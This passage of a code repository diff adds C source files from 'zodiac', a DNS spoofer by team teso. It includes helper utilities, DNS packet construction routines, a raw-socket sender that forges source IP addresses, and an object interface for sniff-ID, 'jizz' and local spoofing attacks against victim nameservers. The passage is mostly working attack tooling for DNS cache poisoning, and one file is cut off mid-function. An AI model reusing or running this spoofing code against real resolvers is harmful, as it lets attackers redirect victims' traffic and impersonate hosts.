fprintf (fp, " ");
fflush (fp);
}
fprintf (fp, " | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
fprintf (fp, "%c", trans[data[dp]]);
fflush (fp);
}
fprintf (fp, "\n");
fclose (fp);
return;
}
#endif
/* m_random
*
* return a random number between `lowmark' and `highmark'
*/
int
m_random (int lowmark, int highmark)
{
long int rnd;
/* flip/swap them in case user messed up
*/
if (lowmark > highmark) {
lowmark ^= highmark;
highmark ^= lowmark;
lowmark ^= highmark;
}
rnd = lowmark;
rnd += (random () % (highmark - lowmark));
/* this is lame, i know :)
*/
return (rnd);
}
/* set_tv
*
* initializes a struct timeval pointed to by `tv' to a second value of
* `seconds'
*
* return in any case
*/
void
set_tv (struct timeval *tv, int seconds)
{
tv->tv_sec = seconds;
tv->tv_usec = 0;
return;
}
/* xstrupper
*
* uppercase a string `str'
*
* return in any case
*/
void
xstrupper (char *str)
{
for (; *str != '\0'; ++str) {
if (*str >= 'a' && *str <= 'z') {
*str -= ('a' - 'A');
}
}
return;
}
/* concating snprintf
*
* determines the length of the string pointed to by `os', appending formatted
* string to a maximium length of `len'.
*
*/
void
scnprintf (char *os, size_t len, const char *str, ...)
{
va_list vl;
char *ostmp = os + strlen (os);
va_start (vl, str);
vsnprintf (ostmp, len - strlen (os) - 1, str, vl);
va_end (vl);
return;
}
unsigned long int
tdiff (struct timeval *old, struct timeval *new)
{
unsigned long int time1;
if (new->tv_sec >= old->tv_sec) {
time1 = new->tv_sec - old->tv_sec;
if ((new->tv_usec - 500000) >= old->tv_usec)
time1++;
} else {
time1 = old->tv_sec - new->tv_sec;
if ((old->tv_usec - 500000) >= new->tv_usec)
time1++;
}
return (time1);
}
/* ipv4_print
*
* padding = 0 -> don't padd
* padding = 1 -> padd with zeros
* padding = 2 -> padd with spaces
*/
char *
ipv4_print (char *dest, struct in_addr in, int padding)
{
unsigned char *ipp;
ipp = (unsigned char *) &in.s_addr;
strcpy (dest, "");
switch (padding) {
case (0):
sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
break;
case (1):
sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]);
break;
case (2):
sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]);
break;
default:
break;
}
return (dest);
}
void *
xrealloc (void *m_ptr, size_t newsize)
{
void *n_ptr;
n_ptr = realloc (m_ptr, newsize);
if (n_ptr == NULL) {
fprintf (stderr, "realloc failed\n");
exit (EXIT_FAILURE);
}
return (n_ptr);
}
char *
xstrdup (char *str)
{
char *b;
b = strdup (str);
if (b == NULL) {
fprintf (stderr, "strdup failed\n");
exit (EXIT_FAILURE);
}
return (b);
}
void *
xcalloc (int factor, size_t size)
{
void *bla;
bla = calloc (factor, size);
if (bla == NULL) {
fprintf (stderr, "no memory left\n");
exit (EXIT_FAILURE);
}
return (bla);
}
/* source by dk
*/
char *
allocncat (char **to, char *from, size_t len)
{
int rlen = strlen (from);
int null = *to == NULL;
len = rlen < len ? rlen : len;
*to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1);
if (null)
**to = '\0';
if (*to == NULL)
perror ("no memory: ");
return (strncat (*to, from, len));
}
char *
alloccat (char **to, char *from)
{
return (allocncat (to, from, strlen (from)));
}
char *
ip_get_random (void)
{
char *ip = xcalloc (1, 17);
int i[4];
for (;;) {
i[0] = m_random (1, 239);
if (i[0] != 10 && i[0] != 127 && i[0] != 192)
break;
}
i[1] = m_random (1, 254);
i[2] = m_random (1, 254);
i[3] = m_random (1, 254);
sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]);
return (ip);
}

26
dns/zodiac/src/common.h Normal file
View file

@ -0,0 +1,26 @@
#ifndef Z_COMMON_H
#define Z_COMMON_H
#include <sys/time.h>
#include <netinet/in.h>
#ifdef DEBUG
void debugp (char *filename, const char *str, ...);
void hexdump (char *filename, unsigned char *data, unsigned int amount);
#endif
int m_random (int lowmark, int highmark);
void set_tv (struct timeval *tv, int seconds);
void xstrupper (char *str);
void scnprintf (char *os, size_t len, const char *str, ...);
unsigned long int tdiff (struct timeval *old, struct timeval *new);
char *ipv4_print (char *dest, struct in_addr in, int padding);
void *xrealloc (void *m_ptr, size_t newsize);
char *xstrdup (char *str);
void *xcalloc (int factor, size_t size);
char *allocncat (char **to, char *from, size_t len);
char *alloccat (char **to, char *from);
char *ip_get_random (void);
#endif

670
dns/zodiac/src/dns-build.c Normal file
View file

@ -0,0 +1,670 @@
/* zodiac - advanced dns spoofer
*
* dns packet construction routines
* if you need some, just borrow here and drop me a line of credit :)
*
* by scut / teso
*/
#include <libnet.h> /* route's owning library =) */
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "dns.h"
#include "dns-build.h"
#include "dns-tag.h"
#include "io-udp.h"
#include "network.h"
#include "zodiac.h"
extern char * match_hash;
/* dns_build_random
*
* prequel the domain name `domain' with a random sequence of characters
* with a random length if len is zero, or a fixed length if len is != 0
*
* return the allocated new string
*/
char *
dns_build_random (char *domain, size_t len)
{
int dlen, cc;
char *pr;
cc = dlen = (len == 0) ? m_random (3, 16) : len;
pr = xcalloc (1, strlen (domain) + dlen + 2);
for (; dlen > 0; --dlen) {
char p;
(int) p = m_random ((int) 'a', (int) 'z');
pr[dlen - 1] = p;
}
pr[cc] = '.';
memcpy (pr + cc + 1, domain, strlen (domain));
return (pr);
}
/* dns_domain
*
* return a pointer to the beginning of the SLD within a full qualified
* domain name `domainname'.
*
* return NULL on failure
* return a pointer to the beginning of the SLD on success
*/
char *
dns_domain (char *domainname)
{
char *last_label = NULL,
*hold_label = NULL;
if (domainname == NULL)
return (NULL);
/* find last SLD
*/
for (; *domainname != '\x00'; ++domainname) {
if (*domainname == '.') {
last_label = hold_label;
hold_label = domainname + 1;
}
}
return (last_label);
}
/*
* gets the domain of an in-addr.arpa string.
* 123.123.123.123.in-addr.arpa ==> 123.123.123.in-addr.arpa
* return a pointer inside arpaname on success
* return NULL on failure
*/
char *
dns_ptr_domain (char *arpaname)
{
char *dot;
if (strstr (arpaname, "in-addr.arpa") == NULL)
return (NULL);
if (atoi (arpaname) == 0)
return (NULL);
dot = strchr (arpaname, '.');
return ((dot == NULL) ? NULL : (dot + 1));
}
/* dns_build_new
*
* constructor. create new packet data body
*
* return packet data structure pointer (initialized)
*/
dns_pdata *
dns_build_new (void)
{
dns_pdata *new;
new = xcalloc (1, sizeof (dns_pdata));
new->p_offset = NULL;
new->p_data = NULL;
return (new);
}
/* dns_build_destroy
*
* destructor. destroy a dns_pdata structure pointed to by `pd'
*
* return in any case
*/
void
dns_build_destroy (dns_pdata *pd)
{
if (pd == NULL)
return;
if (pd->p_data != NULL)
free (pd->p_data);
free (pd);
return;
}
/* dns_build_plen
*
* calculate the length of the current packet data body pointed to by `pd'.
*
* return the packet length
*/
u_short
dns_build_plen (dns_pdata *pd)
{
if (pd == NULL)
return (0);
if (pd->p_data == NULL || pd->p_offset == NULL)
return (0);
return ((u_short) (pd->p_offset - pd->p_data));
}
/* dns_build_extend
*
* extend a dns_pdata structure data part for `amount' bytes.
*
* return a pointer to the beginning of the extension
*/
unsigned char *
dns_build_extend (dns_pdata *pd, size_t amount)
{
unsigned int u_ptr = dns_build_plen (pd);
/* realloc is your friend =)
*/
pd->p_data = realloc (pd->p_data, u_ptr + amount);
if (pd->p_data == NULL) {
exit (EXIT_FAILURE);
}
/* since realloc can move the memory we have to calculate
* p_offset completely from scratch
*/
pd->p_offset = pd->p_data + u_ptr + amount;
return (pd->p_data + u_ptr);
}
/* dns_build_ptr
*
* take a numeric quad dot notated ip address `ip_str' and build a char
* domain out of it within the IN-ADDR.ARPA domain.
*
* return NULL on failure
* return a char pointer to the converted domain name
*/
char *
dns_build_ptr (char *ip_str)
{
char *ip_ptr;
int dec[4];
int n;
if (ip_str == NULL)
return (NULL);
/* kludge for functions that already pass a reversed string
*/
if (strstr (ip_str, "in-addr.arpa"))
return (xstrdup (ip_str));
/* parse ip string, on failure drop conversion
*/
n = sscanf (ip_str, "%d.%d.%d.%d", &dec[0], &dec[1], &dec[2], &dec[3]);
if (n != 4)
return (NULL);
/* allocate a new string of the required length
*/
ip_ptr = xcalloc (1, strlen (ip_str) + strlen (".in-addr.arpa") + 1);
sprintf (ip_ptr, "%d.%d.%d.%d.in-addr.arpa", dec[3], dec[2], dec[1], dec[0]);
return (ip_ptr);
}
/* dns_build_q
*
* append a query record into a dns_pdata structure, where `dname' is the
* domain name that should be queried, using `qtype' and `qclass' as types.
*
* conversion of the `dname' takes place according to the value of `qtype':
*
* qtype | expected dname format | converted to
* ---------+-----------------------+-----------------------------------------
* T_PTR | char *, ip address | IN-ADDR.ARPA dns domain name
* T_A | char *, full hostname | dns domain name
* T_NS | " | "
* T_CNAME | " | "
* T_SOA | " | "
* T_WKS | " | "
* T_HINFO | " | "
* T_MINFO | " | "
* T_MX | " | "
* T_ANY | " | "
*
* return (beside adding the record) the pointer to the record within the data
*/
unsigned char *
dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass)
{
unsigned char *qdomain = NULL;
unsigned char *tgt, *rp;
int dlen;
switch (qtype) {
case (T_PTR):
/* convert in itself, then convert to a dns domain
*/
dname = dns_build_ptr (dname);
if (dname == NULL)
return (NULL);
case (T_A):
case (T_NS):
case (T_CNAME):
case (T_SOA):
case (T_WKS):
case (T_HINFO):
case (T_MINFO):
case (T_MX):
case (T_TXT):
case (T_ANY):
/* convert to a dns domain
*/
dlen = dns_build_domain (&qdomain, dname);
if (dlen == 0)
return (NULL);
break;
default:
return (NULL);
}
tgt = rp = dns_build_extend (pd, dlen + sizeof (qtype) + sizeof (qclass));
memcpy (tgt, qdomain, dlen);
tgt += dlen;
free (qdomain);
PUTSHORT (qtype, tgt);
PUTSHORT (qclass, tgt);
return (rp);
}
/* dns_build_rr
*
* append a resource record into a dns_pdata structure, pointed ty by `pd',
* where `dname' is the domain name the record belongs to, `type' and `class'
* are the type and class of the dns data part, `ttl' is the time to live,
* the time in seconds how long to cache the record. `rdlength' is the length
* of the resource data pointed to by `rdata'.
* depending on `type' the data at `rdata' will be converted to the appropiate
* type:
*
* type | rdata points to | will be
* -------+---------------------+---------------------------------------------
* T_A | char IP address | 4 byte network byte ordered IP address
* T_PTR | char domain name | encoded dns domain name
* T_NS | char domain name | encoded dns domain name
*
* return (beside adding the record) the pointer to the record within the data
*/
unsigned char *
dns_build_rr (dns_pdata *pd, unsigned char *dname, u_short type, u_short class,
u_long ttl, void *rdata)
{
char *ptr_ptr = NULL;
struct in_addr ip_addr; /* temporary, to convert */
unsigned char *qdomain = NULL;
unsigned char *tgt, *rp = NULL;
u_short rdlength = 0;
unsigned char *rdata_converted; /* converted rdata */
int n;
switch (type) {
case (T_A):
/* resolve the quad dotted IP address, then copy it into the
* rdata array
*/
ip_addr.s_addr = net_resolve ((char *) rdata);
rdata_converted = xcalloc (1, sizeof (struct in_addr));
memcpy (rdata_converted, &ip_addr.s_addr, sizeof (struct in_addr));
rdlength = 4;
break;
case (T_NS):
case (T_CNAME):
case (T_PTR):
/* build a dns domain from the plaintext domain name
*/
n = dns_build_domain ((unsigned char **) &rdata_converted, (char *) rdata);
if (n == 0)
return (NULL);
rdlength = n;
break;
case (T_TXT):
rdata_converted = xstrdup (rdata);
rdlength = strlen (rdata_converted);
break;
default:
return (NULL);
}
/* create a real dns domain from the plaintext query domain
*/
switch (type) {
case (T_PTR):
ptr_ptr = dns_build_ptr (dname);
dname = ptr_ptr;
default:
n = dns_build_domain (&qdomain, dname);
if (n == 0)
goto rr_fail;
break;
}
if (ptr_ptr != NULL)
free (ptr_ptr);
/* extend the existing dns packet to hold our extra rr record
*/
tgt = rp = dns_build_extend (pd, dns_labellen (qdomain) + sizeof (type) +
sizeof (class) + sizeof (ttl) + sizeof (rdlength) + rdlength);
memcpy (tgt, qdomain, dns_labellen (qdomain));
tgt += dns_labellen (qdomain);
free (qdomain);
PUTSHORT (type, tgt);
PUTSHORT (class, tgt);
PUTLONG (ttl, tgt);
PUTSHORT (rdlength, tgt);
memcpy (tgt, rdata_converted, rdlength);
tgt += rdlength;
rr_fail:
free (rdata_converted);
return (rp);
}
/* dns_build_query_label
*
* build a query label given from the data `query' that should be enclosed
* and the query type `qtype' and query class `qclass'.
* the label is passed back in printable form, not in label-length form.
*
* qtype qclass query
* -----------+---------------+-----------------------------------------------
* A IN pointer to a host- or domainname
* PTR IN pointer to a struct in_addr
*
* ... (to be extended) ...
*
* return 0 on success
* return 1 on failure
*/
int
dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query)
{
char label[256];
struct in_addr *ip;
/* we do only internet queries (qclass is just for completeness)
* also drop empty queries
*/
if (qclass != C_IN || query == NULL)
return (1);
switch (qtype) {
case (T_A): *query_dst = xstrdup (query);
break;
case (T_PTR): memset (label, '\0', sizeof (label));
ip = (struct in_addr *) query;
net_printipr (ip, label, sizeof (label) - 1);
scnprintf (label, sizeof (label), ".in-addr.arpa");
*query_dst = xstrdup (label);
break;
default: return (1);
break;
}
return (0);
}
/* dns_build_domain
*
* build a dns domain label sequence out of a printable domain name
* store the resulting domain in `denc', get the printable domain
* from `domain'.
*
* return 0 on failure
* return length of the created domain (include suffixing '\x00')
*/
int
dns_build_domain (unsigned char **denc, char *domain)
{
char *start = domain,
*out,
c = '\0';
int n = strlen (domain);
if (n > MAXDNAME)
return (0);
out = *denc = xcalloc (1, n + 2);
domain += n - 1;
out += n + 1;
*out-- = 0;
n = 0;
while (domain >= start) {
c = *domain--;
if (c == '.') {
*out-- = n;
n = 0;
} else {
*out-- = c;
n++;
}
}
if (n != '\0')
*out-- = n;
return (strlen (out + 1) + 1);
}
/* deprecated, old version
int
dns_build_domain (unsigned char **denc, char *domain)
{
char *b, *dst;
if (strlen (domain) >= 255)
return (0);
dst = *denc = xcalloc (1, strlen (domain) + 2);
*dst = (unsigned char) dns_build_domain_dotlen (domain);
dst++;
for (b = domain ; *b != '\x00' ; ++b) {
if (*b == '.') {
*dst = (unsigned char) dns_build_domain_dotlen (b + 1);
} else {
*dst = *b;
}
++dst;
}
*dst = '\x00';
dst += 1;
return ((unsigned long int) ((unsigned long) dst - (unsigned long) *denc));
}
*/
/* dns_build_domain_dotlen
*
* helper routine, determine the length of the next label in a human
* printed domain name
*
* return the number of characters until an occurance of \x00 or '.'
*/
int
dns_build_domain_dotlen (char *label)
{
int n;
/* determine length
*/
for (n = 0; *label != '.' && *label != '\x00'; n++, ++label)
;
return (n);
}
/* dns_packet_send
*
* send a prepared dns packet spoofing from `ip_src' to `ip_dst', using
* source port `prt_src' and destination port `prt_dst'. the dns header
* data is filled with `dns_id', the dns identification number of the
* packet, `flags', which are the 16bit flags in the dns header, then
* four count variables, each for a dns segment: `count_q' is the number
* of queries, `count_a' the number of answers, `count_ns' the number of
* nameserver entries and `count_ad' the number of additional entries.
* the real dns data is aquired from `dbuf', `dbuf_s' bytes in length.
* the dns data should be constructed using the dns_build_* functions.
* if the packet should be compressed before sending it, `compress'
* should be set to 1.
*
* return 0 on success
* return 1 on failure
*/
int
dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst,
u_short dns_id, u_short flags, u_short count_q, u_short count_a,
u_short count_ns, u_short count_ad, dns_pdata *pd, int compress)
{
int sock; /* raw socket, yeah :) */
int n; /* temporary return value */
unsigned char buf[4096]; /* final packet buffer */
unsigned char *dbuf = pd->p_data;
size_t dbuf_s = dns_build_plen (pd);
struct in_addr s_addr,
d_addr;
s_addr.s_addr = net_resolve (ip_src);
d_addr.s_addr = net_resolve (ip_dst);
libnet_build_dns ( dns_id, /* dns id (the famous one, 'antilove'd by many users ;) */
flags, /* standard query response */
count_q, /* count for query */
count_a, /* count for answer */
count_ns, /* count for authoritative information */
count_ad, /* count for additional information */
dbuf, /* buffer with the queries/rr's */
dbuf_s, /* query size */
buf + IP_H + UDP_H); /* write into packet buffer */
libnet_build_udp ( prt_src, /* source port */
prt_dst, /* 53 usually */
NULL, /* content already there */
DNS_H + dbuf_s, /* same */
buf + IP_H); /* build after ip header */
libnet_build_ip ( UDP_H + DNS_H + dbuf_s, /* content size */
0, /* tos */
libnet_get_prand (PRu16), /* id :) btw, what does 242 mean ? */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
s_addr.s_addr, /* spoofa ;) */
d_addr.s_addr, /* local dns querier */
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */
libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + dbuf_s);
libnet_do_checksum (buf, IPPROTO_IP, IP_H);
/* check whether we have to send out our putty through a spoof proxy :-]
*/
if (zodiac_spoof_proxy == NULL) {
/* mark packet so we don't fucking catch our own packets =-)
*/
dns_tag_add (ip_src, ip_dst, prt_src, prt_dst, dns_id);
sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1)
return (1);
n = libnet_write_ip (sock, buf, UDP_H + IP_H + DNS_H + dbuf_s);
if (n < UDP_H + IP_H + DNS_H + dbuf_s) {
return (1);
}
close (sock);
} else {
socklen_t p_len = UDP_H + IP_H + DNS_H + dbuf_s;
unsigned char *p_buf;
/* set matching hash
*/
p_buf = xcalloc (1, p_len + 16);
memcpy (p_buf + 16, buf, p_len);
memcpy (p_buf, match_hash, 16);
p_len += 16;
udp_write (zodiac_spoof_proxy, zodiac_spoof_proxy_port, p_buf,
p_len, zodiac_spoof_proxy_key);
free (p_buf);
}
return (0);
}

212
dns/zodiac/src/dns-build.h Normal file
View file

@ -0,0 +1,212 @@
/* zodiac - advanced dns spoofer
*
* dns packet builder routines include file
*
* by scut / teso
*/
#ifndef Z_DNS_BUILD_H
#define Z_DNS_BUILD_H
/* dns_pdata
*
* domain name service packet data part structure.
* the data in this structure is the virtual dns packet to fire.
*/
typedef struct dns_pdata {
unsigned char *p_offset; /* internal offset to construct packet data */
unsigned char *p_data; /* real packet data pointer */
} dns_pdata;
/* dns_build_random
*
* prequel the domain name `domain' with a random sequence of characters
* with a random length if `len' is zero, and a fixed length if len is != 0
*
* return the allocated new string
*/
char *dns_build_random (char *domain, size_t len);
/* dns_domain
*
* return a pointer to the beginning of the SLD within a full qualified
* domain name `domainname'.
*
* return NULL on failure
* return a pointer to the beginning of the SLD on success
*/
char *dns_domain (char *domainname);
char *dns_ptr_domain (char *arpaname);
/* dns_build_new
*
* constructor. create new packet data body
*
* return packet data structure pointer (initialized)
*/
dns_pdata *dns_build_new (void);
/* dns_build_destroy
*
* destructor. destroy a dns_pdata structure pointed to by `pd'
*
* return in any case
*/
void dns_build_destroy (dns_pdata *pd);
/* dns_build_plen
*
* calculate the length of the current packet data body pointed to by `pd'.
*
* return the packet length
*/
u_short dns_build_plen (dns_pdata *pd);
/* dns_build_extend
*
* extend a dns_pdata structure data part for `amount' bytes.
*
* return a pointer to the beginning of the extension
*/
unsigned char *dns_build_extend (dns_pdata *pd, size_t amount);
/* dns_build_ptr
*
* take a numeric quad dot notated ip address `ip_str' and build a char
* domain out of it within the IN-ADDR.ARPA domain.
*
* return NULL on failure
* return a char pointer to the converted domain name
*/
char *dns_build_ptr (char *ip_str);
/* dns_build_q
*
* append a query record into a dns_pdata structure, where `dname' is the
* domain name that should be queried, using `qtype' and `qclass' as types.
*
* conversion of the `dname' takes place according to the value of `qtype':
*
* qtype | expected dname format | converted to
* ---------+-----------------------+-----------------------------------------
* TY_PTR | char *, ip address | IN-ADDR.ARPA dns domain name
* TY_A | char *, full hostname | dns domain name
* TY_NS | " | "
* TY_CNAME | " | "
* TY_WKS | " | "
* TY_HINFO | " | "
* TY_MINFO | " | "
* TY_MX | " | "
*
* return (beside adding the record) the pointer to the record within the data
*/
unsigned char *dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass);
/* dns_build_rr
*
* append a resource record into a dns_pdata structure, pointed ty by `pd',
* where `dname' is the domain name the record belongs to, `type' and `class'
* are the type and class of the dns data part, `ttl' is the time to live,
* the time in seconds how long to cache the record. `rdlength' is the length
* of the resource data pointed to by `rdata'.
* depending on `type' the data at `rdata' will be converted to the appropiate
* type:
*
* type | rdata points to | will be
* -------+---------------------+---------------------------------------------
* TY_A | char IP address | 4 byte network byte ordered IP address
* TY_PTR | char domain name | encoded dns domain name
* TY_NS | char domain name | encoded dns domain name
*
* return (beside adding the record) the pointer to the record within the data
*/
unsigned char *dns_build_rr (dns_pdata *pd, unsigned char *dname,
u_short type, u_short class, u_long ttl, void *rdata);
/* dns_build_query_label
*
* build a query label given from the data `query' that should be enclosed
* and the query type `qtype' and query class `qclass'.
*
* qtype qclass query
* -----------+---------------+-----------------------------------------------
* A IN pointer to a host- or domainname
* PTR IN pointer to a struct in_addr
*
* ... (to be extended) ...
*
* return 0 on success
* return 1 on failure
*/
int dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query);
/* dns_build_domain
*
* build a dns domain label sequence out of a printable domain name
* store the resulting domain in `denc', get the printable domain
* from `domain'.
*
* return 0 on failure
* return length of the created domain (include suffixing '\x00')
*/
int dns_build_domain (unsigned char **denc, char *domain);
/* dns_build_domain_dotlen
*
* helper routine, determine the length of the next label in a human
* printed domain name
*
* return the number of characters until an occurance of \x00 or '.'
*/
int dns_build_domain_dotlen (char *label);
/* dns_packet_send
*
* send a prepared dns packet spoofing from `ip_src' to `ip_dst', using
* source port `prt_src' and destination port `prt_dst'. the dns header
* data is filled with `dns_id', the dns identification number of the
* packet, `flags', which are the 16bit flags in the dns header, then
* four count variables, each for a dns segment: `count_q' is the number
* of queries, `count_a' the number of answers, `count_ns' the number of
* nameserver entries and `count_ad' the number of additional entries.
* the real dns data is aquired from the dns packet data `pd'.
* the dns data should be constructed using the dns_build_* functions.
* if the packet should be compressed before sending it, `compress'
* should be set to 1.
*
* return 0 on success
* return 1 on failure
*/
int dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst,
u_short dns_id, u_short flags, u_short count_q, u_short count_a,
u_short count_ns, u_short count_ad, dns_pdata *pd, int compress);
#endif

21
dns/zodiac/src/dns-mass.c Normal file
View file

@ -0,0 +1,21 @@
/* zodiac - advanced dns spoofer
*
* by team teso
*
* mass routines (mass resolving, mass versioning, etc...)
*/
/* dm_resolve
*
* dns mass resolve function. resolves at a fixed rate `rate' per second
* names from file `hostfile', one per line. outputs to `ipfile'.
* to do this it spawns two threads, one collecting and one packet-firing
* thread. timeout `timeout' is used per lookup.
* beware, it might eat system resources :)
*
* return in any case
*/
void
dm_resolve (

View file

@ -0,0 +1,269 @@
/*
* new OO-interface to spoofing functions.
* hopefully this will make it easier to do 'batch' id spoofs.
* i.e. A and PTR at the same time, while maintaining flexibility.
*
* -Smiler
*/
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <stdlib.h>
#include <pthread.h>
#include "dns-spoof-int.h"
#include "dns-spoof.h"
#include "dns-build.h"
#include "common.h"
static void spoof_id_destroy (spoof_style_id *spoof_id);
static void spoof_local_destroy (spoof_style_local *spoof_local);
static void spoof_jizz_destroy (spoof_style_jizz *spoof_jizz);
/* functions to carry out the spoofs, with certain
* variations.
*/
void
spoof_do (spoof_base *spoof)
{
switch (spoof->spoof_style) {
case SPOOF_STYLE_LOCAL:
spoof_local (&spoof->spoof.local_spoof);
break;
case SPOOF_STYLE_JIZZ:
spoof_jizz (&spoof->spoof.jizz_spoof);
break;
case SPOOF_STYLE_SNIFFID:
spoof_dnsid (&spoof->spoof.id_spoof);
break;
}
return;
}
void *
_spoof_do_threaded (void *arg)
{
spoof_do ((spoof_base *)arg);
spoof_destroy ((spoof_base *)arg);
return (NULL);
}
pthread_t
spoof_do_threaded (spoof_base *spoof)
{
pthread_t tid;
pthread_create (&tid, NULL, _spoof_do_threaded, (void *)spoof);
return (tid);
}
/*
* create a new spoof strucuture for local spoofs.
* return NULL on error.
*/
spoof_base *
spoof_local_new (char *victim, char *from, char *to, char *dns, char *dns_ip, int type)
{
spoof_base *ptr;
spoof_style_local *local;
ptr = (spoof_base *) xcalloc (1, sizeof(spoof_base));
ptr->spoof_style = SPOOF_STYLE_LOCAL;
local = &ptr->spoof.local_spoof;
local->spoof_victim = victim;
local->spoof_from = from;
local->spoof_to = to;
local->local_dns = dns;
local->local_dns_ip = dns_ip;
local->spoof_type = type;
return (ptr);
}
/*
* create a new spoof structure for jizz spoofing.
* return NULL on error.
*/
spoof_base *
spoof_jizz_new (char *ns, char *domain, char *local_ip, char *spoof_from,
char *spoof_to)
{
spoof_base *ptr;
spoof_style_jizz *jizz;
ptr = (spoof_base *) xcalloc (1, sizeof(spoof_base));
ptr->spoof_style = SPOOF_STYLE_JIZZ;
jizz = &ptr->spoof.jizz_spoof;
jizz->nameserver = ns;
jizz->local_domain = domain;
jizz->local_dns_ip = local_ip;
jizz->spoof_from = spoof_from;
jizz->spoof_to = spoof_to;
return (ptr);
}
/*
* allocate, init and return a new spoof structure for id spoofing
* return NULL on error.
*/
spoof_base *
spoof_id_new (char *ns, char *local_domain)
{
spoof_base *ptr;
ptr = (spoof_base *)xcalloc (1, sizeof(spoof_base));
ptr->spoof_style = SPOOF_STYLE_SNIFFID;
ptr->spoof.id_spoof.nameserver = ns;
ptr->spoof.id_spoof.local_domain = local_domain;
ptr->spoof.id_spoof.id_cnt = 0;
ptr->spoof.id_spoof.root = NULL;
return (ptr);
}
/*
* add an id spoof to the linked list.
* only supports T_A, T_PTR and T_NS atm.
* spoof_from_domain can be NULL.
*
* return 0 on success
* return -1 on error
*/
int
spoof_id_add (spoof_base *base, int type, char *spoof_from,
char *spoof_to, char *spoof_from_domain)
{
spoof_style_id *ptr;
spoof_id_list *new,
*link_ptr;
if (base->spoof_style != SPOOF_STYLE_SNIFFID)
return (-1);
ptr = &base->spoof.id_spoof;
if (ptr->id_cnt >= SPOOF_ID_MAX)
return (-1);
if (type != T_A && type != T_PTR && type != T_NS)
return (-1);
new = (spoof_id_list *) xcalloc (1, sizeof(spoof_id_list));
memset (new, 0, sizeof(spoof_id_list));
new->next = NULL;
new->spoof_type = type;
new->spoof_from = spoof_from;
new->spoof_to = spoof_to;
if (spoof_from_domain == NULL) {
if (type != T_PTR) {
new->spoof_from_domain = dns_domain (new->spoof_from);
if (new->spoof_from_domain == NULL)
return (-1);
} else {
new->spoof_from_domain = dns_ptr_domain (new->spoof_from);
if (new->spoof_from_domain == NULL)
return (-1);
}
} else {
new->spoof_from_domain = spoof_from_domain;
}
/* link in the structure */
link_ptr = ptr->root;
if (link_ptr == NULL) {
ptr->root = new;
} else {
while (link_ptr->next) link_ptr = link_ptr->next;
link_ptr->next = new;
}
/* and increase the spoof count */
++ptr->id_cnt;
return (0);
}
/*
* Free a spoof_id structure
*/
static void
spoof_id_destroy (spoof_style_id *spoof_id)
{
spoof_id_list *link, *tmp;
for (link = spoof_id->root; link; link = tmp) {
tmp = link->next;
/* free the contents of the link */
free (link->spoof_from);
free (link->spoof_to);
/* then free the link structure */
free (link);
}
free (spoof_id->nameserver);
free (spoof_id->local_domain);
return;
}
/*
* Free a local spoof structure.
*/
static void
spoof_local_destroy (spoof_style_local *spoof_local)
{
free (spoof_local->spoof_victim);
free (spoof_local->spoof_from);
free (spoof_local->spoof_to);
free (spoof_local->local_dns);
free (spoof_local->local_dns_ip);
return;
}
/*
* Free a jizz structure.
*/
static void
spoof_jizz_destroy (spoof_style_jizz *spoof_jizz)
{
free (spoof_jizz->nameserver);
free (spoof_jizz->local_domain);
free (spoof_jizz->local_dns_ip);
free (spoof_jizz->spoof_from);
free (spoof_jizz->spoof_to);
return;
}
/*
* Free a general spoof structure.
*/
void
spoof_destroy (spoof_base *spoof_base)
{
switch (spoof_base->spoof_style) {
case SPOOF_STYLE_SNIFFID:
spoof_id_destroy(&spoof_base->spoof.id_spoof);
break;
case SPOOF_STYLE_LOCAL:
spoof_local_destroy(&spoof_base->spoof.local_spoof);
break;
case SPOOF_STYLE_JIZZ:
spoof_jizz_destroy(&spoof_base->spoof.jizz_spoof);
break;
default:
/* hmm */
}
free (spoof_base);
return;
}

View file

@ -0,0 +1,82 @@
/*
* New, hopefully more flexible interface to dns-spoof.c
* If anyone can come up with more imaginative/descriptive nomenclature,
* please change it :/
*/
#ifndef Z_DNS_SPOOF_INT_H
#define Z_DNS_SPOOF_INT_H
#include <pthread.h>
#define SPOOF_ID_MAX 3 /* maximum number of id spoofs in a single request */
#define SPOOF_STYLE_SNIFFID 0x1
#define SPOOF_STYLE_LOCAL 0x2
#define SPOOF_STYLE_JIZZ 0x3
#define SPOOF_STYLE_SNOOFID 0x4 /* not supported yet ! */
typedef struct spoof_style_jizz {
char *nameserver,
*local_domain,
*local_dns_ip,
*spoof_from,
*spoof_to;
} spoof_style_jizz;
typedef struct spoof_style_local {
int spoof_type; /* A, PTR.. */
char *spoof_victim,
*spoof_from,
*spoof_to,
*local_dns,
*local_dns_ip;
} spoof_style_local;
typedef struct spoof_id_list {
struct spoof_id_list *next;
int spoof_type; /* A, PTR.. */
char *spoof_from,
*spoof_from_domain,
*spoof_to;
} spoof_id_list;
typedef struct spoof_style_id {
char *nameserver, /* victim nameserver */
*local_domain; /* guess */
int id_cnt; /* number of spoofs requested */
spoof_id_list *root; /* linked list of spoofs */
} spoof_style_id;
typedef struct spoof_base {
int spoof_style; /* id, jizz, local ... */
union {
spoof_style_id id_spoof;
spoof_style_local local_spoof;
spoof_style_jizz jizz_spoof;
} spoof;
} spoof_base;
spoof_base *spoof_jizz_new (char *ns, char *domain, char *local_ip,
char *spoof_from, char *spoof_to);
spoof_base *spoof_id_new (char *ns, char *local_domain);
